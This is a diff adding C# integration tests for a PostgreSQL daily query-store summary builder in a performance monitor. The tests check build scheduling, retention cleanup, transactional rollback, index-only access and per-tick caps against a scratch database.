+                (await ScalarAsync(connection, "SELECT array_agg(query_id ORDER BY query_id) FROM collect.query_store_top_daily WHERE server_id = 1 AND day = DATE '2026-01-10'", ct) as long[])!);
+        });
+    }
+
+    [Fact]
+    public async Task TheSchedule_BuildsAtDayEndPlusTwoHours_RebuildsAtPlusTwentyFive_AndThenStops()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await SeedAsync(connection, 1, Day.AddHours(5), 1, ct, executionCount: 1, duration: 10);
+            await CoverAsync(connection, 1, ct);
+            await using var source = DataSource(scratch);
+            var dayEnd = Day.AddDays(1);
+
+            await TickBuiltAsync(source, dayEnd.AddHours(1).AddMinutes(59));
+            Assert.Null(await BuiltRowAsync(connection, 1, Day, ct));
+
+            var pass1At = dayEnd.AddHours(2);
+            await TickBuiltAsync(source, pass1At);
+            var built = await BuiltRowAsync(connection, 1, Day, ct);
+            Assert.Equal((short)1, built!.Value.Pass);
+            Assert.Equal(pass1At, built.Value.BuiltAt);
+            Assert.Equal(1L, built.Value.SourceRows);
+
+            await TickBuiltAsync(source, dayEnd.AddHours(24).AddMinutes(59));
+            built = await BuiltRowAsync(connection, 1, Day, ct);
+            Assert.Equal((short)1, built!.Value.Pass);
+            Assert.Equal(pass1At, built.Value.BuiltAt);
+
+            var pass2At = dayEnd.AddHours(25);
+            await TickBuiltAsync(source, pass2At);
+            built = await BuiltRowAsync(connection, 1, Day, ct);
+            Assert.Equal((short)2, built!.Value.Pass);
+            Assert.Equal(pass2At, built.Value.BuiltAt);
+
+            await TickBuiltAsync(source, dayEnd.AddDays(3));
+            built = await BuiltRowAsync(connection, 1, Day, ct);
+            Assert.Equal((short)2, built!.Value.Pass);
+            Assert.Equal(pass2At, built.Value.BuiltAt);
+
+            /* Nothing is planned for the day once it is final. */
+            await using var planConnection = await source.OpenConnectionAsync(ct);
+            var plan = await QueryStoreTopDaily.PlanBuildsAsync(planConnection, dayEnd.AddDays(3), RetentionDays, ct);
+            Assert.DoesNotContain(plan, b => b.Day == DateOnly.FromDateTime(Day));
+        });
+    }
+
+    [Fact]
+    public async Task TheDocumentedResidual_ARowMovedIntoTheNextDay_IsCountedTwiceUntilThePassTwoRebuild()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await SeedAsync(connection, 1, Day.AddHours(10), 1, ct, executionCount: 1);
+            await SeedAsync(connection, 1, Day.AddHours(23).AddMinutes(30), 2, ct, executionCount: 1);
+            await CoverAsync(connection, 1, ct);
+            await using var source = DataSource(scratch);
+            var dayEnd = Day.AddDays(1);
+
+            await TickBuiltAsync(source, dayEnd.AddHours(2));
+            Assert.Equal(2L, await SummarizedRowsAsync(connection, 1, Day, ct));
+
+            /* The interval resumed: its row now belongs to the next day. */
+            await ExecAsync(connection, "UPDATE collect.query_store_interval_wide SET collection_time = TIMESTAMP '2026-01-11 00:30:00' WHERE query_id = 2", ct);
+            Assert.Equal(2L, await SummarizedRowsAsync(connection, 1, Day, ct));
+
+            await TickBuiltAsync(source, dayEnd.AddHours(25));
+            Assert.Equal(1L, await SummarizedRowsAsync(connection, 1, Day, ct));
+            Assert.Equal(1L, (await BuiltRowAsync(connection, 1, Day, ct))!.Value.SourceRows);
+        });
+    }
+
+    [Fact]
+    public async Task AnEmptyDay_GetsABuiltRowWithZeroSourceRows_AndNoSummaryRows()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await CoverAsync(connection, 1, ct);
+            await using var source = DataSource(scratch);
+
+            await TickBuiltAsync(source, Day.AddDays(1).AddHours(2));
+
+            var built = await BuiltRowAsync(connection, 1, Day, ct);
+            Assert.Equal((short)1, built!.Value.Pass);
+            Assert.Equal(0L, built.Value.SourceRows);
+            Assert.Equal(0L, Convert.ToInt64(await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_top_daily", ct)));
+        });
+    }
+
+    [Fact]
+    public async Task AServerWithoutACoverageClaim_IsNotBuilt()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await SeedAsync(connection, 1, Day.AddHours(5), 1, ct, executionCount: 1);
+            await using var source = DataSource(scratch);
+
+            Assert.Equal(0L, await TickBuiltAsync(source, Day.AddDays(1).AddHours(2)));
+            Assert.Equal(0L, Convert.ToInt64(await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_top_daily_built", ct)));
+        });
+    }
+
+    [Fact]
+    public async Task Gc_RemovesDaysBelowTheCutoff_AndOnlyThose()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            /* now 2026-01-20 12:00, retention 9 days: the cutoff is (2026-01-11)::date - 1 = 2026-01-10. */
+            await ExecAsync(connection, "INSERT INTO collect.servers (server_id, server_name) VALUES (1, 'srv1')", ct);
+            foreach (var d in new[] { 8, 9, 10, 11 })
+            {
+                await ExecAsync(connection,
+                    $"INSERT INTO collect.query_store_top_daily (server_id, day, interval_rows, avg_duration_us_n, avg_cpu_time_us_n, avg_logical_io_reads_n, avg_logical_io_writes_n, avg_physical_io_reads_n, avg_rowcount_n) VALUES (1, DATE '2026-01-{d:00}', 1, 0, 0, 0, 0, 0, 0)", ct);
+                await ExecAsync(connection,
+                    $"INSERT INTO collect.query_store_top_daily_built (server_id, day, pass, built_at, source_rows) VALUES (1, DATE '2026-01-{d:00}', 2, TIMESTAMP '2026-01-15 00:00:00', 1)", ct);
+            }
+
+            var removed = await QueryStoreTopDaily.GcAsync(connection, new DateTime(2026, 1, 20, 12, 0, 0, DateTimeKind.Unspecified), RetentionDays, ct);
+
+            Assert.Equal(2L, removed);
+            Assert.Equal("2026-01-10,2026-01-11", await ScalarAsync(connection, "SELECT string_agg(day::text, ',' ORDER BY day) FROM collect.query_store_top_daily", ct));
+            Assert.Equal("2026-01-10,2026-01-11", await ScalarAsync(connection, "SELECT string_agg(day::text, ',' ORDER BY day) FROM collect.query_store_top_daily_built", ct));
+        });
+    }
+
+    [Fact]
+    public async Task Gc_RemovesADisabledServersDaysFromBothTables()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await ExecAsync(connection, "INSERT INTO collect.servers (server_id, server_name, is_enabled) VALUES (1, 'srv1', TRUE), (9, 'srv9', FALSE)", ct);
+            foreach (var (server, day) in new[] { (1, 19), (9, 19), (9, 18) })
+            {
+                await InsertSummaryAndBuiltAsync(connection, server, day, ct);
+            }
+
+            var removed = await QueryStoreTopDaily.GcAsync(connection, new DateTime(2026, 1, 20, 12, 0, 0, DateTimeKind.Unspecified), RetentionDays, ct);
+
+            Assert.Equal(2L, removed);
+            Assert.Equal("1|2026-01-19", await ScalarAsync(connection, "SELECT string_agg(server_id || '|' || day, ';' ORDER BY server_id, day) FROM collect.query_store_top_daily", ct));
+            Assert.Equal("1|2026-01-19", await ScalarAsync(connection, "SELECT string_agg(server_id || '|' || day, ';' ORDER BY server_id, day) FROM collect.query_store_top_daily_built", ct));
+        });
+    }
+
+    /* #5507. The cleanup is one transaction: if the summary step fails, the built rows it already deleted come back, so
+       the two tables never disagree about which days exist. A trigger that refuses the summary delete forces the failure. */
+    [Fact]
+    public async Task Gc_RollsTheBuiltRowsBack_WhenTheSummaryStepFails()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await ExecAsync(connection, "INSERT INTO collect.servers (server_id, server_name, is_enabled) VALUES (1, 'srv1', TRUE), (9, 'srv9', FALSE)", ct);
+            foreach (var (server, day) in new[] { (1, 19), (9, 19) })
+            {
+                await InsertSummaryAndBuiltAsync(connection, server, day, ct);
+            }
+
+            await ExecAsync(connection, @"
+CREATE FUNCTION collect.refuse_summary_delete() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN RAISE EXCEPTION 'summary delete refused'; END $$;
+CREATE TRIGGER refuse_summary_delete BEFORE DELETE ON collect.query_store_top_daily FOR EACH ROW EXECUTE FUNCTION collect.refuse_summary_delete();", ct);
+
+            var failure = await Assert.ThrowsAsync<PostgresException>(() =>
+                QueryStoreTopDaily.GcAsync(connection, new DateTime(2026, 1, 20, 12, 0, 0, DateTimeKind.Unspecified), RetentionDays, ct));
+            Assert.Contains("summary delete refused", failure.MessageText, StringComparison.Ordinal);
+
+            Assert.Equal("1|2026-01-19;9|2026-01-19", await ScalarAsync(connection, "SELECT string_agg(server_id || '|' || day, ';' ORDER BY server_id, day) FROM collect.query_store_top_daily_built", ct));
+            Assert.Equal("1|2026-01-19;9|2026-01-19", await ScalarAsync(connection, "SELECT string_agg(server_id || '|' || day, ';' ORDER BY server_id, day) FROM collect.query_store_top_daily", ct));
+        });
+    }
+
+    private static async Task InsertSummaryAndBuiltAsync(NpgsqlConnection connection, int serverId, int day, CancellationToken ct)
+    {
+        await ExecAsync(connection,
+            $"INSERT INTO collect.query_store_top_daily (server_id, day, query_id, interval_rows, avg_duration_us_n, avg_cpu_time_us_n, avg_logical_io_reads_n, avg_logical_io_writes_n, avg_physical_io_reads_n, avg_rowcount_n) VALUES ({serverId}, DATE '2026-01-{day:00}', 1, 1, 0, 0, 0, 0, 0, 0)", ct);
+        await ExecAsync(connection,
+            $"INSERT INTO collect.query_store_top_daily_built (server_id, day, pass, built_at, source_rows) VALUES ({serverId}, DATE '2026-01-{day:00}', 2, TIMESTAMP '2026-01-15 00:00:00', 1)", ct);
+    }
+
+    /* #5507. The pin that fails on the old single statement: a one-statement cleanup with its own predicate on the summary
+       reads all of it every tick. Here a disabled server's one day is due among 90,000 live summary rows. Two halves:
+       the EXPLAIN pins the shape of the statement GcAsync runs per due key (an index probe on both leading columns), and
+       the table's access counters around two GcAsync calls pin what GcAsync does (no sequential scan of the summary on
+       either call, at most the ten due rows fetched on the first, and no touch of the summary at all when nothing is due). */
+    [Fact]
+    public async Task TheGc_ProbesTheSummaryByIndex_NeverScansIt_AndRunsNoSummaryDeleteWhenNothingIsDue()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await ExecAsync(connection, "INSERT INTO collect.servers (server_id, server_name, is_enabled) VALUES (1, 'srv1', TRUE), (9, 'srv9', FALSE)", ct);
+            await ExecAsync(connection, @"
+INSERT INTO collect.query_store_top_daily_built (server_id, day, pass, built_at, source_rows)
+SELECT 1, d::date, 2, TIMESTAMP '2026-01-15 00:00:00', 1 FROM generate_series(DATE '2026-01-16', DATE '2026-01-18', interval '1 day') AS d;
+INSERT INTO collect.query_store_top_daily (server_id, day, query_id, interval_rows, avg_duration_us_n, avg_cpu_time_us_n, avg_logical_io_reads_n, avg_logical_io_writes_n, avg_physical_io_reads_n, avg_rowcount_n)
+SELECT 1, d::date, q, 1, 0, 0, 0, 0, 0, 0 FROM generate_series(DATE '2026-01-16', DATE '2026-01-18', interval '1 day') AS d, generate_series(1, 30000) AS q;
+INSERT INTO collect.query_store_top_daily_built (server_id, day, pass, built_at, source_rows) VALUES (9, DATE '2026-01-16', 2, TIMESTAMP '2026-01-15 00:00:00', 1);
+INSERT INTO collect.query_store_top_daily (server_id, day, query_id, interval_rows, avg_duration_us_n, avg_cpu_time_us_n, avg_logical_io_reads_n, avg_logical_io_writes_n, avg_physical_io_reads_n, avg_rowcount_n)
+SELECT 9, DATE '2026-01-16', q, 1, 0, 0, 0, 0, 0, 0 FROM generate_series(1, 10) AS q;
+ANALYZE collect.query_store_top_daily;
+ANALYZE collect.query_store_top_daily_built;", ct);
+
+            /* The statement that removes one due key, run under EXPLAIN ANALYZE in a transaction that is rolled back. */
+            await using (var transaction = await connection.BeginTransactionAsync(ct))
+            {
+                string json;
+                await using (var command = new NpgsqlCommand("EXPLAIN (ANALYZE, FORMAT JSON) " + QueryStoreTopDaily.GcSummarySql, connection, transaction))
+                {
+                    command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = 9 });
+                    command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Date, Value = new DateOnly(2026, 1, 16) });
+                    json = (string)(await command.ExecuteScalarAsync(ct))!;
+                }
+
+                await transaction.RollbackAsync(ct);
+
+                var scans = new System.Collections.Generic.List<(string Node, string? Index, string? Cond, double Rows)>();
+                void Walk(System.Text.Json.JsonElement node)
+                {
+                    if (node.TryGetProperty("Relation Name", out var relation) && relation.GetString() == "query_store_top_daily"
+                        && node.GetProperty("Node Type").GetString()!.Contains("Scan", StringComparison.Ordinal))
+                    {
+                        scans.Add((node.GetProperty("Node Type").GetString()!,
+                            node.TryGetProperty("Index Name", out var index) ? index.GetString() : null,
+                            node.TryGetProperty("Index Cond", out var cond) ? cond.GetString() : null,
+                            node.GetProperty("Actual Rows").GetDouble() * node.GetProperty("Actual Loops").GetDouble()));
+                    }
+
+                    if (node.TryGetProperty("Plans", out var plans))
+                    {
+                        foreach (var child in plans.EnumerateArray()) Walk(child);
+                    }
+
+                    if (node.TryGetProperty("Plan", out var plan)) Walk(plan);
+                }
+
+                using var document = System.Text.Json.JsonDocument.Parse(json);
+                Walk(document.RootElement[0]);
+
+                Assert.NotEmpty(scans);
+                Assert.All(scans, scan => Assert.True(scan.Index == "ux_query_store_top_daily", $"{scan.Node} on {scan.Index ?? "no index"}"));
+                Assert.All(scans, scan => Assert.True(scan.Cond is not null && scan.Cond.Contains("server_id", StringComparison.Ordinal)
+                    && scan.Cond.Contains("day", StringComparison.Ordinal), $"index condition: {scan.Cond ?? "none"}"));
+                Assert.True(scans.Sum(scan => scan.Rows) <= 10, $"the cleanup read {scans.Sum(scan => scan.Rows)} summary rows for ten due ones");
+            }
+
+            /* GcAsync ITSELF, observed through the table's own access counters: the EXPLAIN above runs the constant by name,
+               so on its own it would pass if GcAsync went back to one statement. pg_stat_force_next_flush() makes this
+               session's pending counts visible at the next statement. */
+            async Task<(long SeqScan, long IdxScan, long IdxTupFetch)> CountersAsync()
+            {
+                await ExecAsync(connection, "SELECT pg_stat_force_next_flush()", ct);
+                await using var read = new NpgsqlCommand(
+                    "SELECT seq_scan, COALESCE(idx_scan, 0), COALESCE(idx_tup_fetch, 0) FROM pg_stat_user_tables WHERE schemaname = 'collect' AND relname = 'query_store_top_daily'", connection);
+                await using var reader = await read.ExecuteReaderAsync(ct);
+                Assert.True(await reader.ReadAsync(ct));
+                return (reader.GetInt64(0), reader.GetInt64(1), reader.GetInt64(2));
+            }
+
+            var now = new DateTime(2026, 1, 20, 12, 0, 0, DateTimeKind.Unspecified);
+            var before = await CountersAsync();
+            Assert.Equal(1L, await QueryStoreTopDaily.GcAsync(connection, now, RetentionDays, ct));
+            var afterDue = await CountersAsync();
+            Assert.Equal(before.SeqScan, afterDue.SeqScan);
+            Assert.True(afterDue.IdxScan > before.IdxScan, "the due day's summary rows are removed through an index");
+            Assert.True(afterDue.IdxTupFetch - before.IdxTupFetch <= 10, $"GcAsync fetched {afterDue.IdxTupFetch - before.IdxTupFetch} summary rows for ten due ones");
+            Assert.Equal(90000L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_top_daily", ct));
+
+            /* The count above is a sequential scan of its own; measure the next pass from a fresh baseline. */
+            var beforeIdle = await CountersAsync();
+            Assert.Equal(0L, await QueryStoreTopDaily.GcAsync(connection, now, RetentionDays, ct));
+            var afterIdle = await CountersAsync();
+            Assert.Equal(beforeIdle.SeqScan, afterIdle.SeqScan);
+            Assert.Equal(beforeIdle.IdxScan, afterIdle.IdxScan);
+            Assert.Equal(beforeIdle.IdxTupFetch, afterIdle.IdxTupFetch);
+            Assert.Equal(90000L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_top_daily", ct));
+        });
+    }
+
+    [Fact]
+    public async Task ABacklogLargerThanTheCap_BuildsTheOldestDaysFirst_AndExactlyTheCap()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await CoverAsync(connection, 1, ct);
+            await using var source = DataSource(scratch);
+            var now = new DateTime(2026, 6, 1, 12, 0, 0, DateTimeKind.Unspecified);
+            const int Retention = 100;
+
+            var result = await QueryStoreTopDaily.RunTickAsync(source, now, Retention, NullLogger.Instance, ct);
+
+            Assert.Equal(QueryStoreTopDaily.MaxBuildsPerTick, result.Built);
+            Assert.Equal(0, result.Failed);
+            Assert.Equal((long)QueryStoreTopDaily.MaxBuildsPerTick, Convert.ToInt64(await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_top_daily_built", ct)));
+            var first = (now - TimeSpan.FromDays(Retention)).Date.AddDays(2);
+            Assert.Equal(first, (DateTime)(await ScalarAsync(connection, "SELECT min(day)::timestamp FROM collect.query_store_top_daily_built", ct))!);
+            Assert.Equal(first.AddDays(QueryStoreTopDaily.MaxBuildsPerTick - 1), (DateTime)(await ScalarAsync(connection, "SELECT max(day)::timestamp FROM collect.query_store_top_daily_built", ct))!);
+
+            /* Every one of those days was already past its final-build time, so each was built once, at pass 2. */
+            Assert.Equal((long)QueryStoreTopDaily.MaxBuildsPerTick, Convert.ToInt64(await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_top_daily_built WHERE pass = 2", ct)));
+            Assert.Equal(0, result.BuiltPass1);
+        });
+    }
+
+    [Fact]
+    public async Task ABacklogPastTheFinalThreshold_BuildsEachDayOnceAtPassTwo_AndTheNextTickReachesNewerDays()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await CoverAsync(connection, 1, ct);
+            await using var source = DataSource(scratch);
+            var now = new DateTime(2026, 6, 1, 12, 0, 0, DateTimeKind.Unspecified);
+            const int Retention = 150;
+            var cap = QueryStoreTopDaily.MaxBuildsPerTick;
+            var first = (now - TimeSpan.FromDays(Retention)).Date.AddDays(2);
+
+            var one = await QueryStoreTopDaily.RunTickAsync(source, now, Retention, NullLogger.Instance, ct);
+            Assert.Equal(cap, one.BuiltPass2);
+            Assert.Equal(0, one.BuiltPass1);
+            var firstBuiltAt = (DateTime)(await ScalarAsync(connection, "SELECT built_at FROM collect.query_store_top_daily_built WHERE day = DATE '" + At(first)[..10] + "'", ct))!;
+
+            var two = await QueryStoreTopDaily.RunTickAsync(source, now, Retention, NullLogger.Instance, ct);
+            Assert.Equal(0, two.Failed);
+            Assert.Equal(0, two.BuiltPass1);
+            Assert.Equal(cap, two.BuiltPass2);
+
+            /* The second tick built the next days; it did not redo the oldest ones. */
+            Assert.Equal((long)(2 * cap), Convert.ToInt64(await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_top_daily_built WHERE pass = 2", ct)));
+            Assert.Equal(first.AddDays(2 * cap - 1), (DateTime)(await ScalarAsync(connection, "SELECT max(day)::timestamp FROM collect.query_store_top_daily_built", ct))!);
+            Assert.Equal(firstBuiltAt, (DateTime)(await ScalarAsync(connection, "SELECT built_at FROM collect.query_store_top_daily_built WHERE day = DATE '" + At(first)[..10] + "'", ct))!);
+        });
+    }
+
+    [Fact]
+    public async Task ALateWriteIntoABuiltDay_IsMissed_AsDocumented()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await SeedAsync(connection, 1, Day.AddHours(5), 1, ct, executionCount: 1);
+            await CoverAsync(connection, 1, ct);
+            await using var source = DataSource(scratch);
+            var dayEnd = Day.AddDays(1);
+
+            await TickBuiltAsync(source, dayEnd.AddHours(2));
+            await TickBuiltAsync(source, dayEnd.AddHours(25));
+            var finalBuild = await BuiltRowAsync(connection, 1, Day, ct);
+            Assert.Equal((short)2, finalBuild!.Value.Pass);
+            Assert.Equal(1L, await SummarizedRowsAsync(connection, 1, Day, ct));
+
+            /* A backfill lands a wide row in the built day. Nothing plans the day again, so the summary does not see it. */
+            await SeedAsync(connection, 1, Day.AddHours(6), 2, ct, executionCount: 1);
+            await TickBuiltAsync(source, dayEnd.AddDays(3));
+
+            Assert.Equal(1L, await SummarizedRowsAsync(connection, 1, Day, ct));
+            Assert.Equal(finalBuild, await BuiltRowAsync(connection, 1, Day, ct));
+            Assert.Equal(2L, Convert.ToInt64(await ScalarAsync(connection,
+                "SELECT count(*) FROM collect.query_store_interval_wide WHERE server_id = 1 AND collection_time >= TIMESTAMP '2026-01-10' AND collection_time < TIMESTAMP '2026-01-11'", ct)));
+        });
+    }
+
+    [Fact]
+    public async Task TheFirstExecutionRange_KeepsTheRowsAtItsEdges_AndDropsTheOneAtTheUpperEdge()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            var collected = Day.AddHours(12);
+            var upper = Day.AddDays(1) + QueryStoreTopDaily.SkewSlack;
+
+            /* 1: the oldest start a stored row can have (a second inside the span margin plus catch-up). 2 and 3: a start
+               just inside the upper edge, and exactly on it. 4: an ordinary row. */
+            await SeedAsync(connection, 1, collected, 1, ct, executionCount: 1, duration: 10,
+                firstExecution: collected - QueryStoreTopDaily.FinalBuildAfter + TimeSpan.FromSeconds(1));
+            await SeedAsync(connection, 1, collected, 2, ct, executionCount: 2, duration: 20, firstExecution: upper - TimeSpan.FromSeconds(1));
+            await SeedAsync(connection, 1, collected, 3, ct, executionCount: 4, duration: 40, firstExecution: upper);
+            await SeedAsync(connection, 1, collected, 4, ct, executionCount: 8, duration: 80);
+            await CoverAsync(connection, 1, ct);
+
+            Assert.Equal(3L, await QueryStoreTopDaily.BuildDayAsync(connection, 1, DateOnly.FromDateTime(Day), 1, Day.AddDays(1).AddHours(2), ct));
+
+            const string Direct = @"
+SELECT server_id, DATE '2026-01-10' AS day, database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role, module_name,
+       count(*) AS interval_rows, sum(execution_count) AS execution_count_sum,
+       sum(avg_duration_us::numeric) AS avg_duration_us_sum, count(avg_duration_us) AS avg_duration_us_n,
+       min(first_execution_time) AS first_execution_time_min
+FROM collect.query_store_interval_wide
+WHERE server_id = 1 AND collection_time >= TIMESTAMP '2026-01-10' AND collection_time < TIMESTAMP '2026-01-11'
+  AND first_execution_time < TIMESTAMP '2026-01-11 01:00:00'
+GROUP BY server_id, database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role, module_name";
+            const string Stored = @"
+SELECT server_id, day, database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role, module_name,
+       interval_rows, execution_count_sum, avg_duration_us_sum, avg_duration_us_n, first_execution_time_min
+FROM collect.query_store_top_daily WHERE server_id = 1 AND day = DATE '2026-01-10'";
+
+            Assert.Equal(new long[] { 1, 2, 4 },
+                (await ScalarAsync(connection, "SELECT array_agg(query_id ORDER BY query_id) FROM collect.query_store_top_daily WHERE server_id = 1", ct) as long[])!);
+            Assert.Equal(0L, await ScalarAsync(connection, $"SELECT count(*) FROM (({Stored}) EXCEPT ({Direct})) x", ct));
+            Assert.Equal(0L, await ScalarAsync(connection, $"SELECT count(*) FROM (({Direct}) EXCEPT ({Stored})) x", ct));
+            Assert.Equal(3L, (await BuiltRowAsync(connection, 1, Day, ct))!.Value.SourceRows);
+        });
+    }
+
+    [Fact]
+    public async Task TheOldestPlannedDay_IsTwoDaysAfterTheRetentionHorizon()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await CoverAsync(connection, 1, ct);
+            await using var source = DataSource(scratch);
+            var now = new DateTime(2026, 1, 20, 12, 0, 0, DateTimeKind.Unspecified);
+
+            await using var planConnection = await source.OpenConnectionAsync(ct);
+            var plan = await QueryStoreTopDaily.PlanBuildsAsync(planConnection, now, RetentionDays, ct);
+
+            /* (now - 9 days)::date is 2026-01-11; the purge may already have cut part of 2026-01-12. */
+            Assert.Equal(new DateOnly(2026, 1, 13), plan.Min(b => b.Day));
+            Assert.Equal(new DateOnly(2026, 1, 19), plan.Max(b => b.Day));
+            Assert.Equal(7, plan.Count);
+        });
+    }
+
+    [Fact]
+    public async Task OnlyEnabledServers_AndOnlyDaysAfterTheirCoverageClaim_ArePlanned_AndADisabledServersRowsAreCollected()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            const int Retention = 20;
+            var now = new DateTime(2026, 1, 20, 12, 0, 0, DateTimeKind.Unspecified);
+            await CoverAsync(connection, 1, ct, filledSince: "2026-01-08 15:00:00");
+            await CoverAsync(connection, 2, ct, enabled: false);
+            await SeedAsync(connection, 1, new DateTime(2026, 1, 9, 5, 0, 0), 1, ct, executionCount: 1);
+            foreach (var d in new[] { 10, 11 })
+            {
+                await ExecAsync(connection,
+                    $"INSERT INTO collect.query_store_top_daily (server_id, day, interval_rows, avg_duration_us_n, avg_cpu_time_us_n, avg_logical_io_reads_n, avg_logical_io_writes_n, avg_physical_io_reads_n, avg_rowcount_n) VALUES (2, DATE '2026-01-{d:00}', 1, 0, 0, 0, 0, 0, 0)", ct);
+                await ExecAsync(connection,
+                    $"INSERT INTO collect.query_store_top_daily_built (server_id, day, pass, built_at, source_rows) VALUES (2, DATE '2026-01-{d:00}', 2, TIMESTAMP '2026-01-15 00:00:00', 1)", ct);
+            }
+
+            await using var source = DataSource(scratch);
+            await using (var planConnection = await source.OpenConnectionAsync(ct))
+            {
+                var plan = await QueryStoreTopDaily.PlanBuildsAsync(planConnection, now, Retention, ct);
+                Assert.DoesNotContain(plan, b => b.ServerId == 2);
+                Assert.All(plan, b => Assert.Equal(1, b.ServerId));
+                Assert.Equal(new DateOnly(2026, 1, 9), plan.Min(b => b.Day));
+                Assert.Equal(new DateOnly(2026, 1, 19), plan.Max(b => b.Day));
+            }
+
+            var result = await QueryStoreTopDaily.RunTickAsync(source, now, Retention, NullLogger.Instance, ct);
+
+            Assert.Equal(0, result.Failed);
+            Assert.Equal(11, result.Built);
+            Assert.Equal(2L, result.DaysRemoved);
+            Assert.Equal(0L, Convert.ToInt64(await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_top_daily WHERE server_id = 2", ct)));
+            Assert.Equal(0L, Convert.ToInt64(await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_top_daily_built WHERE server_id = 2", ct)));
+            Assert.Equal(11L, Convert.ToInt64(await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_top_daily_built WHERE server_id = 1", ct)));
+            Assert.Equal(1L, await SummarizedRowsAsync(connection, 1, new DateTime(2026, 1, 9), ct));
+            Assert.Null(await BuiltRowAsync(connection, 1, new DateTime(2026, 1, 8), ct));
+        });
+    }
+
+    [Fact]
+    public async Task ATickPastItsTimeBudget_StopsStartingBuilds_AndReportsTheRestDeferred()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await CoverAsync(connection, 1, ct);
+            await using var source = DataSource(scratch);
+            var now = new DateTime(2026, 1, 20, 12, 0, 0, DateTimeKind.Unspecified);
+
+            /* The elapsed time is read before each build: zero before the first, past the budget from then on. */
+            var reads = 0;
+            var result = await QueryStoreTopDaily.RunTickAsync(source, now, RetentionDays, NullLogger.Instance,
+                () => reads++ == 0 ? TimeSpan.Zero : QueryStoreTopDaily.MaxTickDuration, ct);
+
+            Assert.Equal(1, result.Built);
+            Assert.Equal(6, result.Deferred);
+            Assert.Equal(0, result.Failed);
+            Assert.Equal("2026-01-13", await ScalarAsync(connection, "SELECT string_agg(day::text, ',') FROM collect.query_store_top_daily_built", ct));
+
+            /* The next tick plans what was deferred. */
+            var next = await QueryStoreTopDaily.RunTickAsync(source, now, RetentionDays, NullLogger.Instance, ct);
+            Assert.Equal(6, next.Built);
+            Assert.Equal(0, next.Deferred);
+        });
+    }
+
+    [Fact]
+    public void TheTenant_IsTheLastAwaitInsideTheTimescaleGate_WithItsOwnCatchAll()
+    {
+        var worker = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+        var code = CSharpSourceWalker.StripCommentsAndStrings(worker);
+        var tick = Body(code, "private async Task RunStoreMaintenanceTickAsync(CancellationToken stoppingToken)");
+        Assert.False(string.IsNullOrEmpty(tick), "could not locate RunStoreMaintenanceTickAsync");
+
+        const string Converge = "await ConvergeStoreObjectsAsync(stoppingToken);";
+        const string Build = "await BuildQueryStoreTopDailyAsync(stoppingToken);";
+        var convergeAt = tick.IndexOf(Converge, StringComparison.Ordinal);
+        var buildAt = tick.IndexOf(Build, StringComparison.Ordinal);
+        Assert.True(convergeAt >= 0 && buildAt > convergeAt, "the summary builder is awaited after the store-object convergence");
+        Assert.Equal(1, tick.Split(Build).Length - 1);
+        Assert.True(string.IsNullOrWhiteSpace(tick[(convergeAt + Converge.Length)..buildAt]), "nothing sits between the convergence and the builder");
+        Assert.True(tick[(buildAt + Build.Length)..].TrimStart().StartsWith('}'), "the summary builder is the last await inside the TimescaleDB gate (only the closing brace of the gated block follows it)");
+        Assert.Equal(';', tick[..buildAt].TrimEnd()[^1]);
+
+        var builder = Body(code, "private async Task BuildQueryStoreTopDailyAsync(CancellationToken stoppingToken)");
+        Assert.False(string.IsNullOrEmpty(builder), "could not locate BuildQueryStoreTopDailyAsync");
+        Assert.Contains("catch (Exception ex) when (ex is not OperationCanceledException)", builder, StringComparison.Ordinal);
+        Assert.Contains("QueryStoreTopDaily.RunTickAsync(", builder, StringComparison.Ordinal);
+        Assert.Contains("DarlingRetention.QueryStoreIntervalWideRetentionDays", builder, StringComparison.Ordinal);
+        Assert.DoesNotContain("throw", builder, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheConstants_AreTheDocumentedOnes()
+    {
+        Assert.Equal(TimeSpan.FromHours(2), QueryStoreTopDaily.BuildAfter);
+        Assert.Equal(TimeSpan.FromHours(25), QueryStoreTopDaily.FinalBuildAfter);
+        Assert.Equal(60, QueryStoreTopDaily.MaxBuildsPerTick);
+        Assert.Equal(60, QueryStoreTopDaily.BuildStatementTimeoutSeconds);
+        Assert.Equal(TimeSpan.FromMinutes(10), QueryStoreTopDaily.MaxTickDuration);
+        Assert.Equal(TimeSpan.FromHours(1), QueryStoreTopDaily.SkewSlack);
